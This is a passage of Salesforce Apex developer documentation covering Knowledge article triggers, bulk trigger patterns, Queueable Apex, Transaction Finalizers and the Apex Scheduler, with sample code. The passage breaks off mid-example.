Object Reference for Salesforce and Lightning Platform: CollaborationGroupMember

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Trigger Considerations for Knowledge Articles

You can write triggers for KnowledgeArticleVersion objects. Learn when you can use triggers, and which actions don’t fire triggers, like
archiving articles.
In general, KnowledgeArticleVersion (KAV) records can use these triggers:
• Creating a KAV record calls the before insert and after insert triggers. This includes creating an article, and creating
drafts from archived, published, and master-language articles using the Restore, Edit as Draft, and Submit for Translation actions.
• Editing an existing KAV record calls the before update and after update triggers.
• Deleting a KAV record calls the before delete and after delete triggers.
• Importing articles calls the before insert and after insert triggers. Importing articles with translations also calls the
before update and after update triggers.

Actions that change the publication status of a KAV record, such as Publish and Archive, do not fire Apex or flow triggers. However,
sometimes publishing an article from the UI causes the article to be saved, and in these instances the before update and after
update triggers are called.

Knowledge Actions and Apex Triggers

Consider the following when writing Apex triggers for actions on KnowledgeArticleVersion:
Save, Save and Close
When an article is saved, the before update and after update triggers are called. When a new article is saved for the
first time, the before insert and after insert triggers work instead.
Edit, Edit as Draft
• When a draft translation is edited, you can use the before update and after update triggers.
• The Edit as Draft action creates a draft from a published article, so the before insert and after insert triggers fire.
• In Salesforce Classic, no triggers fire when a draft master-language article is edited.
• In Salesforce Classic, the before insert and after insert triggers are called when editing an archived article from
the Article Management tab. This creates a draft KAV record.
Cancel, Delete
The before delete and after delete triggers are called in these cases:
• When deleting a translation draft.
• From the Article Management or Knowledge tab in Salesforce Classic, after editing a published article and then clicking Cancel.
This deletes the new draft.
Submit for Translation
This action creates a draft translation, so you can generally use the before insert and after insert triggers. In Salesforce
Classic, you can use the before update and after update triggers when you create a new article from the Knowledge
tab, save it, and then submit for translation. The before update and after update triggers fire when the master-language
article is currently being edited, but not from list views or when viewing the article.
Assign
The before update and after update triggers are called only when doing so causes a record save first. This happens
when the article is being edited before the Assign button is clicked.

Actions That Don’t Fire Triggers

These actions can’t fire Apex triggers:

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• Undelete articles from the recycle bin.

• Preview and archive articles.

Impact on Lightning Migration

Migrating from Knowledge in Salesforce Classic to Lightning Knowledge affects Apex triggers. Writing an Apex trigger on
KnowledgeArticleVersion objects creates dependencies and prevents the KAV object from being deleted. When you migrate an org with
multiple article types to Lightning Knowledge, you must remove any Apex triggers that reference the KAV article types. During migration,
admins see an error message if Apex triggers still reference the article type KAV objects that are deleted during migration. If you cancel
Lightning Knowledge migration while Apex triggers exist that refer to the new KAV object, admins are notified and you must remove
the Apex code.

Sample Knowledge Trigger

For example, you can define a trigger that enters summary text when an article is created.
trigger KAVTrigger on KAV_Type__kav (before insert) {
for (KAV_Type__kav kav : Trigger.New) {
kav.Summary__c = 'Updated article summary before insert';
}
}

Trigger Exceptions
Triggers can be used to prevent DML operations from occurring by calling the addError() method on a record or field. When used
on Trigger.new records in insert and update triggers, and on Trigger.old records in delete triggers, the custom
error message is displayed in the application interface and logged.

Note: Users experience less of a delay in response time if errors are added to before triggers.

A subset of the records being processed can be marked with the addError() method:
• If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However, the
runtime engine still processes every record in the operation to compile a comprehensive list of errors.
• If the trigger was spawned by a bulk DML call in the Lightning Platform API, the runtime engine sets aside the bad records and
attempts to do a partial save of the records that did not generate errors. See Bulk DML Exception Handling on page 160.
If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place.

SEE ALSO:
Apex Reference Guide: SObject.addError()

Trigger and Bulk Request Best Practices

A common development pitfall is the assumption that trigger invocations never include more than one record. Apex triggers are optimized
to operate in bulk, which, by definition, requires developers to write logic that supports bulk operations.

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This is an example of a flawed programming pattern. It assumes that only one record is pulled in during a trigger invocation. While this
might support most user interface events, it does not support bulk operations invoked through SOAP API or Visualforce.
trigger MileageTrigger on Mileage__c (before insert, before update) {
User c = [SELECT Id FROM User WHERE mileageid__c = :Trigger.new[0].id];
}

This is another example of a flawed programming pattern. It assumes that fewer than 100 records are in scope during a trigger invocation.
If more than 100 queries are issued, the trigger would exceed the SOQL query limit.
trigger MileageTrigger on Mileage__c (before insert, before update) {
for(mileage__c m : Trigger.new){
User c = [SELECT Id FROM user WHERE mileageid__c = :m.Id];
}
}

For more information on governor limits, see Execution Governors and Limits.
This example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor limits:
Trigger MileageTrigger on Mileage__c (before update) {
Set<ID> ids = Trigger.newMap.keySet();
List<User> c = [SELECT Id FROM user WHERE mileageid__c in :ids];
}

This pattern respects the bulk nature of the trigger by passing the Trigger.new collection to a set, then using the set in a single
SOQL query. This pattern captures all incoming records within the request while limiting the number of SOQL queries.

Best Practices for Designing Bulk Programs

The following are the best practices for this design pattern:
• Minimize the number of data manipulation language (DML) operations by adding records to collections and performing DML
operations against these collections.
• Minimize the number of SOQL statements by preprocessing records and generating sets, which can be placed in single SOQL
statement used with the IN clause.

SEE ALSO:
Developing Code in the Cloud

Asynchronous Apex
Apex offers multiple ways for running your Apex code asynchronously. Choose the asynchronous Apex feature that best suits your needs.
This table lists the asynchronous Apex features and when to use each.

Asynchronous Apex Feature When to Use

Queueable Apex • To start a long-running operation and get an ID for it
• To pass complex types to a job
• To chain jobs

Scheduled Apex • To schedule an Apex class to run on a specific schedule

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Asynchronous Apex Feature When to Use

Batch Apex • For long-running jobs with large data volumes that need to
be performed in batches, such as database maintenance jobs
• For jobs that need larger query results than regular transactions
allow

Future Methods • When you have a long-running method and need to prevent
delaying an Apex transaction
• When you make callouts to external Web services
• To segregate DML operations and bypass the mixed save DML
error

Queueable Apex
Take control of your asynchronous Apex processes by using the Queueable interface. This interface enables you to add jobs to
the queue and monitor them. Using the interface is an enhanced way of running your asynchronous Apex code compared to using
future methods.
Apex Scheduler
Use the Apex Scheduler to delay execution so that you can run Apex classes at a specified time. This is ideal for daily or weekly
maintenance tasks using Batch Apex.
Batch Apex
Future Methods

Queueable Apex
Take control of your asynchronous Apex processes by using the Queueable interface. This interface enables you to add jobs to the
queue and monitor them. Using the interface is an enhanced way of running your asynchronous Apex code compared to using future
methods.
Apex processes that run for a long time, such as extensive database operations or external web service callouts, can be run asynchronously
by implementing the Queueable interface and adding a job to the Apex job queue. In this way, your asynchronous Apex job runs
in the background in its own thread and doesn’t delay the execution of your main Apex logic. Each queued job runs when system
resources become available. A benefit of using the Queueable interface methods is that some governor limits are higher than for
synchronous Apex, such as heap size limits.

Important: If an Apex transaction rolls back, any queueable jobs queued for execution by the transaction aren’t processed.

Queueable jobs are similar to future methods in that they’re both queued for execution, but they provide you with these additional
benefits.
• Getting an ID for your job: When you submit your job by invoking the System.enqueueJob method, the method returns the
ID of the new job. This ID corresponds to the ID of the AsyncApexJob record. Use this ID to identify and monitor your job, either
through the Salesforce UI (Apex Jobs page), or programmatically by querying your record from AsyncApexJob.
• Using non-primitive types: Your queueable class can contain member variables of non-primitive data types, such as sObjects or
custom Apex types. Those objects can be accessed when the job executes.
• Chaining jobs: You can chain one job to another job by starting a second job from a running job. Chaining jobs is useful if your
process depends on another process to have run first.

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You can set a maximum stack depth of chained Queueable jobs, overriding the default limit of five in Developer and Trial Edition
organizations.

Note: Variables that are declared transient are ignored by serialization and deserialization and the value is set to null in
Queueable Apex.

Adding a Queueable Job to the Asynchronous Execution Queue

This example implements the Queueable interface. The execute method in this example inserts a new account. The
System.enqueueJob(queueable) method is used to add the job to the queue.

public class AsyncExecutionExample implements Queueable {

public void execute(QueueableContext context) {
Account a = new Account(Name='Acme',Phone='(415) 555-1212');
insert a;
}
}

To add this class as a job on the queue, call this method:

ID jobID = System.enqueueJob(new AsyncExecutionExample());

Important: When you call System.enqueueJob, Salesforce adds the process to the queue. Actual execution can be delayed
based on service availability.
After you submit your queueable class for execution, the job is added to the queue and will be processed when system resources become
available. You can monitor the status of your job programmatically by querying AsyncApexJob or through the user interface in Setup
by entering Apex Jobs in the Quick Find box, then selecting Apex Jobs.
To query information about your submitted job, perform a SOQL query on AsyncApexJob by filtering on the job ID that the
System.enqueueJob method returns. This example uses the jobID variable that was obtained in the previous example.

AsyncApexJob jobInfo = [SELECT Status,NumberOfErrors FROM AsyncApexJob WHERE Id=:jobID];

Similar to future jobs, queueable jobs don’t process batches, and so the number of processed batches and the number of total batches
are always zero.

Adding a Queueable Job with a Specified Minimum Delay

Use the System.enqueueJob(queueable, delay) method to add queueable jobs to the asynchronous execution queue
with a specified minimum delay (0–10 minutes). The delay is ignored during Apex testing.
See System.enqueueJob(queueable, delay) in the Apex Reference Guide.

Warning: When you set the delay to 0 (zero), the queueable job is run as quickly as possible. With chained queueable jobs,
implement a mechanism to slow down or halt the job if necessary. Without such a fail-safe mechanism in place, you can rapidly
reach the daily async Apex limit.
In the following cases, it would be beneficial to adjust the timing before the queueable job is run.
• If the external system is rate-limited and can be overloaded by chained queueable jobs that are making rapid callouts.
• When polling for results, and executing too fast can cause wasted usage of the daily async Apex limits.

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This example adds a job for delayed asynchronous execution by passing in an instance of your class implementation of the Queueable
interface for execution. There’s a minimum delay of 5 minutes before the job is executed.
Integer delayInMinutes = 5;
ID jobID = System.enqueueJob(new MyQueueableClass(), delayInMinutes);

Admins can define a default org-wide delay (1–600 seconds) in scheduling queueable jobs that were scheduled without a delay parameter.
Use the delay setting as a mechanism to slow default queueable job execution. If the setting is omitted, Apex uses the standard queueable
timing with no added delay.

Note: Using the System.enqueueJob(queueable, delay) method ignores any org-wide enqueue delay setting.

Define the org-wide delay in one of these ways.

• From Setup, in the Quick Find box, enter Apex Settings, and then enter a value (1–600 seconds) for Default minimum
enqueue delay (in seconds) for queueable jobs that do not have a delay parameter
• To enable this feature programmatically with Metadata API, see ApexSettings in the Metadata API Developer Guide.

Adding a Queueable Job with a Specified Stack Depth

Use the System.enqueueJob(queueable, asyncOptions) method where you can specify the maximum stack depth
and the minimum queue delay in the asyncOptions parameter.
The System.AsyncInfo class properties contain the current and maximum stack depths and the minimum queueable delay.
The System.AsyncInfo class has methods to help you determine if maximum stack depth is set in your Queueable request and
to get the stack depths and queue delay for your queueables that are currently running. Use information about the current queueable
execution to make decisions on adjusting delays on subsequent calls.
These are methods in the System.AsyncInfo class.
• hasMaxStackDepth()
• getCurrentQueueableStackDepth()
• getMaximumQueueableStackDepth()
• getMinimumQueueableDelayInMinutes()
This example uses stack depth to terminate a chained job and prevent it from reaching the daily maximum number of asynchronous
Apex method executions.
// Fibonacci
public class FibonacciDepthQueueable implements Queueable {

private long nMinus1, nMinus2;

public static void calculateFibonacciTo(integer depth) {

AsyncOptions asyncOptions = new AsyncOptions();
asyncOptions.MaximumQueueableStackDepth = depth;
System.enqueueJob(new FibonacciDepthQueueable(null, null), asyncOptions);
}

private FibonacciDepthQueueable(long nMinus1param, long nMinus2param) {

nMinus1 = nMinus1param;
nMinus2 = nMinus2param;
}

public void execute(QueueableContext context) {

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integer depth = AsyncInfo.getCurrentQueueableStackDepth();

// Calculate step
long fibonacciSequenceStep;
switch on (depth) {
when 1, 2 {
fibonacciSequenceStep = 1;
}
when else {
fibonacciSequenceStep = nMinus1 + nMinus2;
}
}

System.debug('depth: ' + depth + ' fibonacciSequenceStep: ' + fibonacciSequenceStep);

if(System.AsyncInfo.hasMaxStackDepth() &&
AsyncInfo.getCurrentQueueableStackDepth() >=
AsyncInfo.getMaximumQueueableStackDepth()) {
// Reached maximum stack depth
Fibonacci__c result = new Fibonacci__c(
Depth__c = depth,
Result = fibonacciSequenceStep
);
insert result;
} else {
System.enqueueJob(new FibonacciDepthQueueable(fibonacciSequenceStep, nMinus1));

}
}
}

Testing Queueable Jobs

This example shows how to test the execution of a queueable job in a test method. A queueable job is an asynchronous process. To
ensure that this process runs within the test method, the job is submitted to the queue between the Test.startTest and
Test.stopTest block. The system executes all asynchronous processes started in a test method synchronously after the
Test.stopTest statement. Next, the test method verifies the results of the queueable job by querying the account that the job
created.
@isTest
public class AsyncExecutionExampleTest {
@isTest
static void test1() {
// startTest/stopTest block to force async processes
// to run in the test.
Test.startTest();
System.enqueueJob(new AsyncExecutionExample());
Test.stopTest();

// Validate that the job has run

// by verifying that the record was created.
// This query returns only the account created in test context by the

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// Queueable class method.

Account acct = [SELECT Name,Phone FROM Account WHERE Name='Acme' LIMIT 1];
System.assertNotEquals(null, acct);
System.assertEquals('(415) 555-1212', acct.Phone);
}
}

Chaining Jobs
To run a job after some other processing is done first by another job, you can chain queueable jobs. To chain a job to another job, submit
the second job from the execute() method of your queueable class. You can add only one job from an executing job, which means
that only one child job can exist for each parent job. For example, if you have a second class called SecondJob that implements the
Queueable interface, you can add this class to the queue in the execute() method as follows:

public class AsyncExecutionExample implements Queueable {

public void execute(QueueableContext context) {
// Your processing logic here

// Chain this job to next job by submitting the next job

System.enqueueJob(new SecondJob());
}
}

Note: Apex allows HTTP and web service callouts from queueable jobs, if they implement the Database.AllowsCallouts
marker interface. In queueable jobs that implement this interface, callouts are also allowed in chained queueable jobs.
You can test chained queueable jobs using appropriate stack depths, but be aware of applicable Apex governor limits. See Adding a
Queueable Job with a Specified Stack Depth.

Queueable Apex Limits

• The execution of a queued job counts one time against the shared limit for asynchronous Apex method executions. See Lightning
Platform Apex Limits.
• You can add up to 50 jobs to the queue with System.enqueueJob in a single transaction. In asynchronous transactions (for
example, from a batch Apex job), you can add only one job to the queue with System.enqueueJob. To check how many
queueable jobs have been added in one transaction, call Limits.getQueueableJobs().
• Because no limit is enforced on the depth of chained jobs, you can chain one job to another. You can repeat this process with each
new child job to link it to a new child job. For Developer Edition and Trial organizations, the maximum stack depth for chained jobs
is 5, which means that you can chain jobs four times. The maximum number of jobs in the chain is 5, including the initial parent
queueable job.
• When chaining jobs with System.enqueueJob, you can add only one job from an executing job. Only one child job can exist
for each parent queueable job. Starting multiple child jobs from the same queueable job isn’t supported.

Detecting Duplicate Queueable Jobs

Reduce resource contention and race conditions by enqueuing only a single instance of your async Queueable job based on its
signature. Attempting to add more than one Queueable job to the processing queue with the same signature results in a
DuplicateMessageException when you try to enqueue subsequent jobs.
Transaction Finalizers
The Transaction Finalizers feature enables you to attach actions, using the System.Finalizer interface, to asynchronous Apex
jobs that use the Queueable framework. A specific use case is to design recovery actions when a Queueable job fails.

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Transaction Finalizers Error Messages

Troubleshoot both semantic and run-time issues by analyzing these error messages.

SEE ALSO:
Apex Reference Guide: Queueable Interface
Apex Reference Guide: QueueableContext Interface

Detecting Duplicate Queueable Jobs

Reduce resource contention and race conditions by enqueuing only a single instance of your async Queueable job based on its signature.
Attempting to add more than one Queueable job to the processing queue with the same signature results in a DuplicateMessageException
when you try to enqueue subsequent jobs.

Build a Queueable Signature

To create a unique queuable signature, first declare an instance of the AsyncOptions class. Then set the value of the instance’s
DuplicateSignature property to a QueueableDuplicateSignature object, which is built using the inner
QueueableDuplicateSignature.Builder class.
To build the queueable signature, add different strings, IDs, or integers using these methods from
QueueableDuplicateSignature.Builder.
• addString(inputString)
• addId(inputId)
• addInteger(inputInteger)
As you build the signature, you can find the size, remaining size, and maximum size of the queueable job signature in bytes using these
methods from the QueueableDuplicateSignature.Builder class.
• getSize()
• getRemainingSize()
• getMaxSize()
When the signature has the required components, call the .build() method and assign the signature to the
DuplicateSignature property.

Enqueue a Job with a Queueable Signature

After you build a queuable signature, enqueue a new job using the System.enqueueJob(queueable, asyncOptions)
method. Set the asyncOptions parameter to the AsyncOptions instance with the queueable signature that identifies the
unique job. When the new job is enqueued, the system checks for existing enqueued jobs with the same signature. If other enqueued
jobs with the same signature are found, then the enqueue operation for the new job fails, and a DuplicateMessageException is thrown.
However, if other jobs with the same signature are already running when the new job is enqueued, then the enqueue operation for the
new job succeeds. Therefore, duplicates of already running jobs can still occur in this case. This behavior occurs because the queuable
signature is removed from the job when it’s first dequeued, so a running job no longer has a signature. This removal guarantees that at
least one job instance for a given signature runs.

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Examples
This example builds the async job signature using the User Id and the string MyQueueable.
AsyncOptions options = new AsyncOptions();
options.DuplicateSignature = QueueableDuplicateSignature.Builder()
.addId(UserInfo.getUserId())
.addString('MyQueueable')
.build();
try {
System.enqueueJob(new MyQueueable(), options);
} catch (DuplicateMessageException ex) {
//Exception is thrown if there is already an enqueued job with the same
//signature
Assert.areEqual('Attempt to enqueue job with duplicate queueable signature',
ex.getMessage());
}

This example builds the async job signature using the ApexClass Id and the hash value of an sObject.
AsyncOptions options = new AsyncOptions();
options.DuplicateSignature = QueueableDuplicateSignature.Builder()
.addInteger(System.hashCode(someAccount))
.addId([SELECT Id FROM ApexClass
WHERE Name='MyQueueable'].Id)
.build();
System.enqueueJob(new MyQueueable(), options);

Transaction Finalizers
The Transaction Finalizers feature enables you to attach actions, using the System.Finalizer interface, to asynchronous Apex
jobs that use the Queueable framework. A specific use case is to design recovery actions when a Queueable job fails.
The Transaction Finalizers feature provides a direct way for you to specify actions to be taken when asynchronous jobs succeed or fail.
Before Transaction Finalizers, you could only take these two actions for asynchronous job failures:
• Poll the status of AsyncApexJob using a SOQL query and re-enqueue the job if it fails
• Fire BatchApexErrorEvents when a batch Apex method encounters an unhandled exception
With transaction finalizers, you can attach a post-action sequence to a Queueable job and take relevant actions based on the job execution
result.
A Queueable job that failed due to an unhandled exception can be successively re-enqueued five times by a transaction finalizer. This
limit applies to a series of consecutive Queueable job failures. The counter is reset when the Queueable job completes without an
unhandled exception.
Finalizers can be implemented as an inner class. Also, you can implement both Queueable and Finalizer interfaces with the same class.
The Queueable job and the Finalizer run in separate Apex and Database transactions. For example, the Queueable can include DML, and
the Finalizer can include REST callouts. Using a finalizer doesn’t count as an extra execution against your daily Async Apex limit. Synchronous
governor limits apply for the Finalizer transaction, except in these cases where asynchronous limits apply:
• Total heap size
• Maximum number of Apex jobs added to the queue with System.enqueueJob
• Maximum number of methods with the future annotation allowed per Apex invocation
For more information on governor limits, see Execution Governors and Limits.

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System.Finalizer Interface
The System.Finalizer interface includes the execute method:

global void execute(System.FinalizerContext ctx) {}

This method is called on the provided FinalizerContext instance for every enqueued job with a finalizer attached. Within the execute
method, you can define the actions to be taken at the end of the Queueable job. An instance of System.FinalizerContext is
injected by the Apex runtime engine as an argument to the execute method.

System.FinalizerContext Interface
The System.FinalizerContext interface contains four methods.
• getAsyncApexJobId method:
global Id getAsyncApexJobId {}

Returns the ID of the Queueable job for which this finalizer is defined.
• getRequestId method:
global String getRequestId {}

Returns the request ID, a string that uniquely identifies the request, and can be correlated with Event Monitoring logs. To correlate
with the AsyncApexJob table, use the getAsyncApexJobId method instead. The Queueable job and the Finalizer execution
both share the (same) request ID.
• getResult method:
global System.ParentJobResult getResult {}

Returns the System.ParentJobResult enum, which represents the result of the parent asynchronous Apex Queueable job
to which the finalizer is attached. The enum takes these values: SUCCESS, UNHANDLED_EXCEPTION.
• getException method:
global System.Exception getException {}

Returns the exception with which the Queueable job failed when getResult is UNHANDLED_EXCEPTION, null otherwise.
Attach the finalizer to your Queueable jobs using the System.attachFinalizer method.
1. Define a class that implements the System.Finalizer interface.
2. Attach a finalizer within a Queueable job’s execute method. To attach the finalizer, invoke the System.attachFinalizer
method, using as argument the instantiated class that implements the System.Finalizer interface.
global void attachFinalizer(Finalizer finalizer) {}

Implementation Details
• Only one finalizer instance can be attached to any Queueable job.
• You can enqueue a single asynchronous Apex job (Queueable, Future, or Batch) in the finalizer’s implementation of the execute
method.
• Callouts are allowed in finalizer implementations.
• The Finalizer framework uses the state of the Finalizer object (if attached) at the end of Queueable execution. Mutation of the Finalizer
state, after it’s attached, is therefore supported.

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• Variables that are declared transient are ignored by serialization and deserialization, and therefore don’t persist in the Transaction
Finalizer.

Logging Finalizer Example

This example demonstrates the use of Transaction Finalizers in logging messages from a Queueable job, regardless of whether the job
succeeds or fails. The LoggingFinalizer class here implements both Queueable and Finalizer interfaces. The Queueable implementation
instantiates the finalizer, attaches it, and then invokes the addLog() method to buffer log messages. The Finalizer implementation of
LoggingFinalizer includes the addLog(message, source) method that allows buffering log messages from the Queueable job into finalizer's
state. When the Queueable job completes, the finalizer instance commits the buffered log. The finalizer state is preserved even if the
Queueable job fails, and can be accessed for use in DML in finalizer implementation or execution.

public class LoggingFinalizer implements Finalizer, Queueable {

// Queueable implementation
// A queueable job that uses LoggingFinalizer to buffer the log
// and commit upon exit, even if the queueable execution fails

public void execute(QueueableContext ctx) {

String jobId = '' + ctx.getJobId();
System.debug('Begin: executing queueable job: ' + jobId);
try {
// Create an instance of LoggingFinalizer and attach it
// Alternatively, System.attachFinalizer(this) can be used instead of
instantiating LoggingFinalizer
LoggingFinalizer f = new LoggingFinalizer();
System.attachFinalizer(f);

// While executing the job, log using LoggingFinalizer.addLog()

// Note that addlog() modifies the Finalizer's state after it is attached
DateTime start = DateTime.now();
f.addLog('About to do some work...', jobId);

while (true) {
// Results in limit error
}
} catch (Exception e) {
System.debug('Error executing the job [' + jobId + ']: ' + e.getMessage());
} finally {
System.debug('Completed: execution of queueable job: ' + jobId);
}
}

// Finalizer implementation
// Logging finalizer provides a public method addLog(message,source) that allows buffering
log lines from the Queueable job.
// When the Queueable job completes, regardless of success or failure, the LoggingFinalizer
instance commits this buffered log.
// Custom object LogMessage__c has four custom fields-see addLog() method.

// internal log buffer

private List<LogMessage__c> logRecords = new List<LogMessage__c>();

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public void execute(FinalizerContext ctx) {

String parentJobId = ctx.getAsyncApexJobId();
System.debug('Begin: executing finalizer attached to queueable job: ' + parentJobId);

// Update the log records with the parent queueable job id

System.Debug('Updating job id on ' + logRecords.size() + ' log records');
for (LogMessage__c log : logRecords) {
log.Request__c = parentJobId; // or could be ctx.getRequestId()
}
// Commit the buffer
System.Debug('committing log records to database');
Database.insert(logRecords, false);

if (ctx.getResult() == ParentJobResult.SUCCESS) {
System.debug('Parent queueable job [' + parentJobId + '] completed
successfully.');
} else {
System.debug('Parent queueable job [' + parentJobId + '] failed due to unhandled
exception: ' + ctx.getException().getMessage());
System.debug('Enqueueing another instance of the queueable...');
}
System.debug('Completed: execution of finalizer attached to queueable job: ' +
parentJobId);
}

public void addLog(String message, String source) {

// append the log message to the buffer
logRecords.add(new LogMessage__c(
DateTime__c = DateTime.now(),
Message__c = message,
Request__c = 'setbeforecommit',
Source__c = source
));
}
}

Retry Queueable Example

This example demonstrates how to re-enqueue a failed Queueable job in its finalizer. It also shows that jobs can be re-enqueued up to
a queueable chaining limit of 5 retries.

public class RetryLimitDemo implements Finalizer, Queueable {

// Queueable implementation
public void execute(QueueableContext ctx) {
String jobId = '' + ctx.getJobId();
System.debug('Begin: executing queueable job: ' + jobId);
try {
Finalizer finalizer = new RetryLimitDemo();
System.attachFinalizer(finalizer);
System.debug('Attached finalizer');

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Integer accountNumber = 1;
while (true) { // results in limit error
Account a = new Account();
a.Name = 'Account-Number-' + accountNumber;
insert a;
accountNumber++;
}
} catch (Exception e) {
System.debug('Error executing the job [' + jobId + ']: ' + e.getMessage());
} finally {
System.debug('Completed: execution of queueable job: ' + jobId);
}
}

// Finalizer implementation
public void execute(FinalizerContext ctx) {
String parentJobId = '' + ctx.getAsyncApexJobId();
System.debug('Begin: executing finalizer attached to queueable job: ' + parentJobId);

if (ctx.getResult() == ParentJobResult.SUCCESS) {
System.debug('Parent queueable job [' + parentJobId + '] completed successfully.');

} else {
System.debug('Parent queueable job [' + parentJobId + '] failed due to unhandled
exception: ' + ctx.getException().getMessage());
System.debug('Enqueueing another instance of the queueable...');
String newJobId = '' + System.enqueueJob(new RetryLimitDemo()); // This call fails
after 5 times when it hits the chaining limit
System.debug('Enqueued new job: ' + newJobId);
}
System.debug('Completed: execution of finalizer attached to queueable job: ' +
parentJobId);
}
}

Considerations
If a job request is terminated unexpectedly, such as a database shutdown during system upgrade, the transaction finalizer can fail to
execute.

Best Practices
We urge ISVs to exercise caution in using global Finalizers with state-mutating methods in packages. If a subscriber org’s implementation
invokes such methods in the global Finalizer, it can result in unexpected behavior. Examine all state-mutating methods to see how they
affect the finalizer state and overall behavior.

Transaction Finalizers Error Messages

Troubleshoot both semantic and run-time issues by analyzing these error messages.
This table provides information about error messages in your Apex debug log.

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Table 3: Troubleshooting Errors in Apex Debug Log

Error Message Failed Context Reason for Failure
More than one Finalizer cannot be attached Queueable Execution System.attachFinalizer() is
to same Async Apex Job invoked more than once in the same
Queueable instance.

Class {0} must implement the Finalizer Queueable Execution The instantiated class parameter to
interface System.attachFinalizer()
doesn’t implement the
System.Finalizer interface.

System.attachFinalizer(Finalizer) is not Non-Queueable Execution System.attachFinalizer() is

allowed in this context invoked in an Apex context that's not
executing a Queueable instance.

Invalid number of parameters Queueable Execution Invalid number of parameters to

System.attachFinalizer()

Argument cannot be null Queueable Execution System.attachFinalizer() is

invoked with a null parameter.

If you have a Splunk Add-On for Salesforce, you can analyze error messages in your Splunk log. This table provides information about
error messages in the Splunk log.

Table 4: Troubleshooting Errors in Splunk Log

Error Message Reason for Failure
Error processing finalizer for queueable job id: {0} Runtime error while executing Finalizer. This error can be an
unhandled catchable exception or uncatchable exception (such
as a LimitException), or, less commonly, an internal system error.

Error processing the finalizer (class name: {0}) for the queueable Runtime error while executing Finalizer. This error can be an
job id: {1} (queueable class id: {2}) unhandled catchable exception or uncatchable exception (such
as a LimitException), or, less commonly, an internal system error.

Apex Scheduler
Use the Apex Scheduler to delay execution so that you can run Apex classes at a specified time. This is ideal for daily or weekly maintenance
tasks using Batch Apex.
To invoke Apex classes to run at specific times, first implement the Schedulable interface for the class, then specify the schedule
using either the Schedule Apex page in the Salesforce user interface, or the System.schedule method.

Important: Salesforce schedules the class for execution at the specified time. Actual execution can be delayed based on service
availability.
You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs
page in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also programmatically query
the CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.

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Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add
more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the
user interface, and all cases where more than one record can be updated at a time.
If there are one or more active scheduled jobs for an Apex class, you can’t update the class or any classes referenced by this class
through the Salesforce user interface. However, you can enable deployments to update the class with active scheduled jobs by
using the Metadata API (for example, when using the Salesforce extensions for Visual Studio Code). See “Deployment Connections
for Change Sets” in Salesforce Help.

Implementing the Schedulable Interface

To schedule an Apex class to run at regular intervals, first write an Apex class that implements the Salesforce-provided interface
Schedulable.
The scheduler runs as system—all classes are executed, whether the user has permission to execute the class or not.
To monitor or stop the execution of a scheduled Apex job using the Salesforce user interface, from Setup, enter Scheduled Jobs
in the Quick Find box, then select Scheduled Jobs.
The Schedulable interface contains one execute method that must be implemented.

global void execute(SchedulableContext sc){}

The implemented method must be declared as global or public.

Use this method to instantiate the class you want to schedule.

Tip: Though it's possible to do additional processing in the execute method, we recommend that all processing must take
place in a separate class.
This example implements the Schedulable interface for a class called MergeNumbers:
global class ScheduledMerge implements Schedulable {
global void execute(SchedulableContext SC) {
MergeNumbers M = new MergeNumbers();
}
}

To schedule the class, execute this example in the Developer Console.

ScheduledMerge m = new ScheduledMerge();
String sch = '20 30 8 10 2 ?';
String jobID = System.schedule('Merge Job', sch, m);

You can also use the Schedulable interface with batch Apex classes. The following example illustrates how to implement the
Schedulable interface for a batch Apex class called Batchable:

global class ScheduledBatchable implements Schedulable {

global void execute(SchedulableContext sc) {
Batchable b = new Batchable();
Database.executeBatch(b);
}
}

An easier way to schedule a batch job is to call the System.scheduleBatch method without having to implement the
Schedulable interface.

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Use the SchedulableContext object to track the scheduled job when it's scheduled. The SchedulableContext getTriggerID method
returns the ID of the CronTrigger object associated with this scheduled job as a string. You can query CronTrigger to track the
progress of the scheduled job.
To stop execution of a job that was scheduled, use the System.abortJob method with the ID returned by the getTriggerID
method.

Tracking the Progress of a Scheduled Job Using Queries

After the Apex job has been scheduled, you can obtain more information about it by running a SOQL query on CronTrigger. You can
retrieve the number of times the job has run, and the date and time when the job is scheduled to run again, as shown in this example.
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :jobID];

The previous example assumes you have a jobID variable holding the ID of the job. The System.schedule method returns the
job ID. If you’re performing this query inside the execute method of your schedulable class, you can obtain the ID of the current job
by calling getTriggerId on the SchedulableContext argument variable. Assuming this variable name is sc, the modified example
becomes:
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :sc.getTriggerId()];

You can also get the job’s name and the job’s type from the CronJobDetail record associated with the CronTrigger record. To do so, use
the CronJobDetail relationship when performing a query on CronTrigger. This example retrieves the most recent CronTrigger
record with the job name and type from CronJobDetail.
CronTrigger job =
[SELECT Id, CronJobDetail.Id, CronJobDetail.Name, CronJobDetail.JobType
FROM CronTrigger ORDER BY CreatedDate DESC LIMIT 1];

Alternatively, you can query CronJobDetail directly to get the job’s name and type. This next example gets the job’s name and type for
the CronTrigger record queried in the previous example. The corresponding CronJobDetail record ID is obtained by the
CronJobDetail.Id expression on the CronTrigger record.

CronJobDetail ctd =
[SELECT Id, Name, JobType
FROM CronJobDetail WHERE Id = :job.CronJobDetail.Id];

To obtain the total count of all Apex scheduled jobs, excluding all other scheduled job types, perform the this query. Note the value '7'
is specified for the job type, which corresponds to the scheduled Apex job type.
SELECT COUNT() FROM CronTrigger WHERE CronJobDetail.JobType = '7'

Testing the Apex Scheduler

Here’s an example of how to test using the Apex scheduler.
The System.schedule method starts an asynchronous process. When you test scheduled Apex, you must ensure that the scheduled
job is finished before testing against the results. Use the Test methods startTest and stopTest around the System.schedule
method to ensure it finishes before continuing your test. All asynchronous calls made after the startTest method are collected by
the system. When stopTest is executed, all asynchronous processes are run synchronously. If you don’t include the

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System.schedule method within the startTest and stopTest methods, the scheduled job executes at the end of your
test method for Apex saved using Salesforce API version 25.0 and later, but not in earlier versions.
This example defines a class to be tested.
global class TestScheduledApexFromTestMethod implements Schedulable {

// This test runs a scheduled job at midnight Sept. 3rd. 2042

